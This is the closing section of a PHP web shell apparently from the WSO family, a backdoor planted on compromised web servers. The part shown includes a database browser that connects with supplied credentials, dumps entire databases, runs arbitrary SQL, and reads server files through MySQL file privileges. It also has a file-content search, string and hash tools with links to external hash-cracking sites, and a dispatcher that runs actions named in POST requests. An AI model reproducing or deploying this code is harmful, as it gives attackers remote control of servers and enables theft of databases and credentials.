2436				case 'mysql':
2437					$res = $this->query("SHOW CREATE TABLE `$table`");
2438					$create = mysql_fetch_array($res);
2439					$sql = $create[1].";\n";
2440                    if($fp) {
2441						fwrite($fp, $sql); 
2442					} else { 
2443						echo($sql);
2444					}
2445					$this->query("SELECT * FROM `$table`");
2446                    $i = 0;
2447                    $head = true;
2448					while($item = $this->fetch()) {
2449                        $sql = '';
2450                        if($i % 1000 == 0) {
2451                            $head = true;
2452                            $sql = ";\n\n";
2453                        }
2454
2455						$columns = array();
2456						foreach($item as $k => $v) {
2457                            if($v === null) {
2458                                $item[$k] = "NULL";
2459                            } elseif(is_int($v)) {
2460                                $item[$k] = $v;
2461                            } else {
2462                                $item[$k] = "'".@mysql_real_escape_string($v)."'";
2463							}
2464							$columns[] = "`".$k."`";
2465						}
2466                        if($head) {
2467                            $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
2468                            $head = false;
2469                        } else {
2470                            $sql .= "\n\t,(".implode(", ", $item).')';
2471						}
2472                        if($fp) {fwrite($fp, $sql); }else {echo($sql);}
2473                        $i++;
2474					}
2475                    if(!$head) {
2476                        if($fp) {fwrite($fp, ";\n\n"); }else{ echo(";\n\n");}
2477					}
2478				break;
2479				case 'pgsql':
2480					$this->query("SELECT * FROM $table");
2481					while($item = $this->fetch()) {
2482						$columns = array();
2483						foreach($item as $k => $v) {
2484							$item[$k] = "'".addslashes($v)."'";
2485							$columns[] = $k;
2486						}
2487                        $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
2488                        if($fp) {
2489							fwrite($fp, $sql); 
2490						} else {
2491							echo($sql);
2492						}
2493					}
2494				break;
2495			}
2496			return false;
2497		}
2498	};
2499	$db = new DbClass($_POST['type']);
2500	if((@$_POST['p2'] == 'download') && (@$_POST['p1'] != 'select')) {
2501		$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
2502		$db->selectdb($_POST['sql_base']);
2503        switch($_POST['charset']) {
2504            case "Windows-1251": {
2505				$db->setCharset('cp1251'); 
2506				break;
2507			}
2508            case "UTF-8": {
2509				$db->setCharset('utf8'); 
2510				break;
2511			}
2512            case "KOI8-R": {
2513				$db->setCharset('koi8r'); 
2514				break;
2515			}
2516            case "KOI8-U": {
2517				$db->setCharset('koi8u'); 
2518				break;
2519			}
2520            case "cp866": {
2521				$db->setCharset('cp866'); 
2522				break;
2523			}
2524        }
2525		// SQL Dump(Download SQL File)
2526        if(empty($_POST['file'])) {
2527            ob_start('ob_gzhandler', 4096);
2528            header("Content-Disposition: attachment; filename=dump.sql");
2529            header('Content-Type: text/plain');
2530            foreach($_POST['tbl'] as $v)
2531				$db->dump($v);
2532            exit;
2533        } elseif($fp = @fopen($_POST['file'], 'w')) {
2534            foreach($_POST['tbl'] as $v) {
2535                $db->dump($v, $fp);
2536			}
2537            fclose($fp);
2538            unset($_POST['p2']);
2539        } else {
2540            die("<script>alert('Error! Cannot Open File');window.history.back(-1)</script>");
2541		}
2542	}
2543	wsoHeader();
2544	$sql_cwd     = htmlspecialchars($GLOBALS['cwd']);
2545	$sql_charset = (isset($_POST['charset']) ? $_POST['charset'] : '');
2546	echo "
2547<h1>Sql Browser</h1>
2548<div class = 'content'>
2549<form name = 'sf' method = 'post' onsubmit = 'fs(this);'>
2550<table cellpadding='2' cellspacing = '0'>
2551<tr>
2552<td>Type</td>
2553<td>Host</td>
2554<td>Login</td>
2555<td>Password</td>
2556<td>Database</td>
2557<td></td>
2558</tr>
2559<tr>
2560<input type = 'hidden' name = 'ne' value = ''>
2561<input type = 'hidden' name = 'a' value = 'Sql'>
2562<input type = 'hidden' name = 'p1' value = 'query'>
2563<input type = 'hidden' name = 'p2' value = ''>
2564<input type = 'hidden' name = 'c' value = '$sql_cwd'>
2565<input type = 'hidden' name = 'charset' value = '$sql_charset'>
2566<td>
2567<select name = 'type'>
2568<option value = 'mysql' ";
2569    if(@$_POST['type'] == 'mysql') {
2570	echo 'selected';
2571	}
2572echo ">MySql</option><option value='pgsql' ";
2573if(@$_POST['type']=='pgsql') {echo 'selected';}
2574echo ">PostgreSql</option></select></td>
2575<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
2576<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
2577<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
2578	$tmp = "<input type=text name=sql_base value=''>";
2579	if(isset($_POST['sql_host'])) {
2580		if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
2581			switch($_POST['charset']) {
2582				case "Windows-1251": $db->setCharset('cp1251'); break;
2583				case "UTF-8": $db->setCharset('utf8'); break;
2584				case "KOI8-R": $db->setCharset('koi8r'); break;
2585				case "KOI8-U": $db->setCharset('koi8u'); break;
2586				case "cp866": $db->setCharset('cp866'); break;
2587			}
2588			$db->listDbs();
2589			echo "<select name = 'sql_base'><option value = ''></option>";
2590			while($item = $db->fetch()) {
2591				list($key, $value) = each($item);
2592				echo '<option value = "'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
2593			}
2594			echo '</select>';
2595		}
2596		else echo $tmp;
2597	}else
2598		echo $tmp;
2599	echo "</td>
2600				<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
2601                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
2602			</tr>
2603		</table>
2604		<script>
2605            s_db = '".@addslashes($_POST['sql_base'])."';
2606            function fs(f) {
2607                if(f.sql_base.value != s_db) { f.onsubmit = function() {};
2608                    if(f.p1) {
2609						f.p1.value = '';
2610					}
2611                    if(f.p2) {
2612						f.p2.value = '';
2613					}
2614                    if(f.p3) {
2615						f.p3.value = '';
2616					}
2617                }
2618            }
2619			function st(t,l) {
2620				d.sf.p1.value = 'select';
2621				d.sf.p2.value = t;
2622                if(l && d.sf.p3) {
2623					d.sf.p3.value = l;
2624				}
2625				d.sf.submit();
2626			}
2627			function is() {
2628				for(i=0;i<d.sf.elements['tbl[]'].length;++i) {
2629					d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
2630				}
2631			}
2632		</script>";
2633	if(isset($db) && $db->link){
2634		echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
2635			if(!empty($_POST['sql_base'])){
2636				$db->selectdb($_POST['sql_base']);
2637				echo "<tr><td width = '1' style = 'border-top:2px solid #666;'><span>Tables:</span><br><br>";
2638				$tbls_res = $db->listTables();
2639				while($item = $db->fetch($tbls_res)) {
2640					list($key, $value) = each($item);
2641                    if(!empty($_POST['sql_count'])) {
2642                        $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
2643					}
2644					$value = htmlspecialchars($value);
2645					echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
2646				}
2647				echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
2648				if(@$_POST['p1'] == 'select') {
2649					$_POST['p1'] = 'query';
2650                    $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
2651					$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
2652					$num = $db->fetch();
2653					$pages = ceil($num['n'] / 30);
2654                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
2655                    echo " of $pages";
2656					
2657                    if($_POST['p3'] > 1) {
2658                        echo " <a href = '#' onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
2659					}
2660                    if($_POST['p3'] < $pages) {
2661                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
2662					}
2663                    $_POST['p3']--;
2664					
2665					if($_POST['type']=='pgsql') {
2666						$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
2667					} else {
2668						$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
2669					}
2670					echo "<br><br>";
2671				}
2672				if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
2673					$db->query(@$_POST['p2']);
2674					if($db->res !== false) {
2675						$title = false;
2676						echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
2677						$line = 1;
2678						while($item = $db->fetch())	{
2679							if(!$title)	{
2680								echo '<tr>';
2681								foreach($item as $key => $value) {
2682									echo "<th>$key</th>";
2683								}
2684								reset($item);
2685								$title = true;
2686								echo '</tr><tr>';
2687								$line = 2;
2688							}
2689							echo '<tr class="l'.$line.'">';
2690							$line = $line==1?2:1;
2691							foreach($item as $key => $value) {
2692								if($value == null) {
2693									echo '<td><i>Empty/Null</i></td>';
2694								} else {
2695									$content = nl2br(htmlspecialchars($value));
2696									echo "<td>$content</td>";
2697								}
2698							}
2699							echo '</tr>';
2700						}
2701						echo '</table>';
2702					} else {
2703						// Database Error
2704						$db_error = htmlspecialchars($db->error());
2705						echo "<div><b>Error:</b>$db_error</div>";
2706					}
2707				}
2708				echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
2709                if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) {
2710                    echo htmlspecialchars($_POST['p2']);
2711				}
2712                echo "</textarea><br/><input type=submit value='Execute'>";
2713				echo "</td></tr>";
2714			}
2715			echo "</table></form><br/>";
2716            if($_POST['type']=='mysql') {
2717                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
2718                if($db->fetch()) {
2719                    echo "<form onsubmit = 'd.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
2720				}
2721            }
2722			if(@$_POST['p1'] == 'loadfile') {
2723				$file = $db->loadFile($_POST['p2']);
2724				$file_display_name = htmlspecialchars($file['file']);
2725				echo "<br/><pre class = 'ml1'>$file_display_name</pre>";
2726			}
2727	} else {
2728        echo htmlspecialchars($db->error());
2729    }
2730	echo '</div>';
2731	wsoFooter();
2732} 
2733function actionStringTools() {
2734	// HEX - BIN
2735    if (!function_exists('hex2bin')) {
2736        function hex2bin($p) {
2737            return decbin(hexdec($p));
2738        }
2739    }
2740	// BIN - HEX
2741    if (!function_exists('binhex')) {
2742        function binhex($p) {
2743            return dechex(bindec($p));
2744        }
2745    }
2746	// HEX - ASCII
2747    if (!function_exists('hex2ascii')) {
2748        function hex2ascii($p) {
2749            $r = '';
2750            for ($i = 0; $i < strLen($p); $i += 2) {
2751                $r .= chr(hexdec($p[$i] . $p[$i + 1]));
2752            }
2753            return $r;
2754        }
2755    }
2756    if (!function_exists('ascii2hex')) {
2757        function ascii2hex($p) {
2758            $r = '';
2759            for ($i = 0; $i < strlen($p); ++$i) {
2760                $r .= sprintf('%02X', ord($p[$i]));
2761			}
2762            return strtoupper($r);
2763        }
2764    }
2765    if (!function_exists('full_urlencode')) {
2766        function full_urlencode($p) {
2767            $r = '';
2768            for ($i = 0; $i < strlen($p); ++$i) {
2769                $r .= '%' . dechex(ord($p[$i]));
2770			}
2771            return strtoupper($r);
2772        }
2773    }
2774    $stringTools = array(
2775        'Base64 Encode'        => 'base64_encode',
2776        'Base64 Decode'        => 'base64_decode',
2777        'Url Encode'           => 'urlencode',
2778        'Url Decode'           => 'urldecode',
2779        'Full Urlencode'       => 'full_urlencode',
2780        'md5 Hash'             => 'md5',
2781        'sha1 Hash'            => 'sha1',
2782        'Crypt'                => 'crypt',
2783        'CRC32'                => 'crc32',
2784        'ASCII to HEX'         => 'ascii2hex',
2785        'HEX to ASCII'         => 'hex2ascii',
2786        'HEX to DEC'           => 'hexdec',
2787        'HEX to BIN'           => 'hex2bin',
2788        'DEC to HEX'           => 'dechex',
2789        'DEC to BIN'           => 'decbin',
2790        'BIN to HEX'           => 'binhex',
2791        'BIN to DEC'           => 'bindec',
2792        'String to Lower Case' => 'strtolower',
2793        'String to Upper Case' => 'strtoupper',
2794        'Htmlspecialchars'     => 'htmlspecialchars',
2795        'String Length'        => 'strlen'
2796    );
2797	// AJAX Check
2798    if (isset($_POST['ajax'])) {
2799        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
2800        ob_start();
2801        if (in_array($_POST['p1'], $stringTools)) {
2802            echo $_POST['p1']($_POST['p2']);
2803        }
2804        $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
2805        echo strlen($temp), "\n", $temp;
2806        exit;
2807    }
2808    if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
2809        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
2810    }
2811    wsoHeader();
2812    echo "
2813	<h1>String Conversions</h1>
2814	<div class = 'content'>
2815	";
2816	
2817    echo "
2818	<form name = 'toolsForm' onSubmit = 'if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'>
2819	<select name = 'selectTool'>
2820	";
2821	// Tools Dropdown
2822    foreach ($stringTools as $tools_display_text => $tools_php_command) {
2823		$raw_string_tool = htmlspecialchars($tools_php_command);
2824        echo ("<option value = '$raw_string_tool'>$tools_display_text</option>");
2825	}
2826	
2827	$ajax_checked = (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? ' checked' : '');
2828	$textarea_content = (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2']));
2829	$textarea_display = (empty($_POST['p1']) ? 'display:none;' : '');
2830	// Textarea
2831    echo "
2832	</select>
2833	<input type = 'submit' value = '>>'/> <input type = 'checkbox' name = 'ajax' value = '1' $ajax_checked/> Send Using AJAX<br>
2834	<textarea name = 'input' style = 'margin-top:5px' class = 'bigarea'>$textarea_content</textarea>
2835	</form>
2836	<pre class = 'ml1' style = '$textarea_display'"."'margin-top:5px' id = 'strOutput'>
2837	";
2838    if (!empty($_POST['p1'])) {
2839        if (in_array($_POST['p1'], $stringTools)) {
2840            echo htmlspecialchars($_POST['p1']($_POST['p2']));
2841		}
2842    }
2843	
2844	$hash_cwd = htmlspecialchars($GLOBALS['cwd']);
2845	// Search Files Form
2846    echo "
2847	</pre></div>
2848	<br>
2849	<h1>Search Files:</h1>
2850	<div class = 'content'>
2851	<form onsubmit = \"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\">
2852	<table cellpadding = '1' cellspacing = '0' width = '50%'>
2853	<tr>
2854	<td width = '1%'>Text:</td><td>
2855	<input type = 'text' name = 'text' style = 'width:100%'></td></tr>
2856	<tr><td>Path:</td><td>
2857	<input type = 'text' name = 'cwd' value = '$hash_cwd' style = 'width:100%'></td></tr>
2858	<tr><td>Name:</td><td>
2859	<input type = 'text' name = 'filename' value = '*' style = 'width:100%'>
2860	</td></tr>
2861	<tr><td>
2862	</td><td>
2863	<input type = 'submit' value = '>>'>
2864	</td></tr>
2865	</table>
2866	</form>
2867	";
2868			
2869    function wsoRecursiveGlob($path) {
2870        if (substr($path, -1) != '/') {
2871            $path .= '/';
2872        }
2873        $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
2874        if (is_array($paths) && @count($paths)) {
2875            foreach ($paths as $item) {
2876                if (@is_dir($item)) {
2877                    if ($path != $item) {
2878                        wsoRecursiveGlob($item);
2879                    }
2880                } else {
2881                    if (empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2']) !== false) {
2882						$file_path_item         = urlencode($item);
2883						$file_path_item_display = htmlspecialchars($item);
2884                        echo "<a href = '#' onclick = 'g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\",\"\")'>$file_path_item_display</a><br>";
2885                    }
2886                }
2887            }
2888        }
2889    }
2890	// LAST CHANGE IN THIS FILE
2891    if (@$_POST['p3']) {
2892        wsoRecursiveGlob($_POST['c']);
2893	}
2894    echo "
2895	</div>
2896	<br>
2897	<h1>Search For Hash:</h1>
2898	<div class = 'content'>
2899		<form method = 'post' target = '_blank' name = 'hf'>
2900			<input type = 'text' name = 'hash' style = 'width:200px;'><br>
2901            <input type = 'hidden' name = 'act' value = 'find'/>
2902			<input type = 'button' value = 'hashcracking.ru' onclick = \"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
2903			<input type = 'button' value = 'md5.rednoize.com' onclick = \"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
2904            <input type = 'button' value = 'crackfor.me' onclick = \"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
2905		</form>
2906	</div>
2907	";
2908    wsoFooter();
2909}
2910// DO NOT EDIT ANYTHING BELOW THIS LINE(This Runs The Shell)
2911if(empty($_POST['a'])) {
2912	if(isset($default_action) && function_exists('action' . $default_action)) {
2913		$_POST['a'] = $default_action;
2914	} else {
2915		$_POST['a'] = 'FilesMan';
2916	}
2917}
2918
2919if(!empty($_POST['a']) && function_exists('action' . $_POST['a'])) {
2920	call_user_func('action' . $_POST['a']);
2921}
2922exit;
2923// End Of Shell	
2924?>